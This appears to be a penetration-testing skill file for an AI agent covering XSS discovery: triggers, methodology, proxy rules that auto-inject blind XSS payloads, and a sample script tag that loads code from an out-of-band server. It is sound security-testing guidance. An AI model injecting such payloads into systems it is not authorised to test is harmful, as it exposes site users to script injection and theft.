pentest-xss（渗透测试 xss）

Cross-Site Scripting (XSS) Assessment

XSS stands for Cross-Site Scripting. ‘Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end-user.’ -OWASP

Activation Triggers (Positive)

• xss
• cross-site scripting
• blind xss
• reflected xss
• stored xss
• dom xss
• polyglot payload
• csp bypass
• waf bypass

Exclusion Triggers (Negative)

• sql injection
• rce
• network scan
• report writing only

Instructions

1. Discover Attack Surface: Identify all user-controllable input vectors, including URL parameters, headers (User-Agent, Referer, X-Forwarded-For), cookies, and request bodies (JSON, XML).
2. Contextual Analysis: Determine where the input is reflected (HTML tag, attribute, JavaScript block, etc.) and what encoding/filtering is applied.
3. Automated Hunting: Use "Match and Replace" rules in proxy tools to inject payloads into every request header and parameter to catch edge-case reflections and blind XSS.
4. Blind XSS Delivery: Deploy OOB (Out-of-Band) interactions using a dedicated listener (e.g., Interact.sh) to detect delayed executions in internal or administrative panels.
5. DOM Source-to-Sink Mapping: Audit client-side scripts for hazardous sinks (e.g., innerHTML, document.write) coupled with controllable sources (e.g., location.hash).

Tip 1: Hunting for Blind XSS with Match and Replace Rules

Automatically inject blind XSS payloads while browsing your targets, helping you discover vulnerabilities more efficiently. To find blind XSS vulnerabilities while browsing, set up this match and replace rule in your proxy interceptor (like Burp Suite) to auto-send your blind XSS payload in each request.

The delayed execution, invisible injection point, and the requirement of a dedicated server that handles incoming invocations make it difficult to find and exploit blind XSS vulnerabilities. However, these XSS types are more critical by nature, which makes them worth testing for.

*Link to social post here* (Placeholder)

Should Do

• Use unique, traceable identifiers in payloads (e.g., <script src="//[unique_id].oob.server"></script>).
• Prioritize testing headers that are likely to be stored and viewed by administrators (e.g., User-Agent).
• Document the exact context of the vulnerability (e.g., "Reflected in attribute value within a form tag").

Should Not Do

• Do not assume that WAF presence means XSS is impossible; test for bypasses and encoding variations.
• Do not use disruptive payloads in production environments (e.g., those that redirect users or steal real session tokens).
• Do not stop testing after finding one XSS; check for multiple instances and types across the application.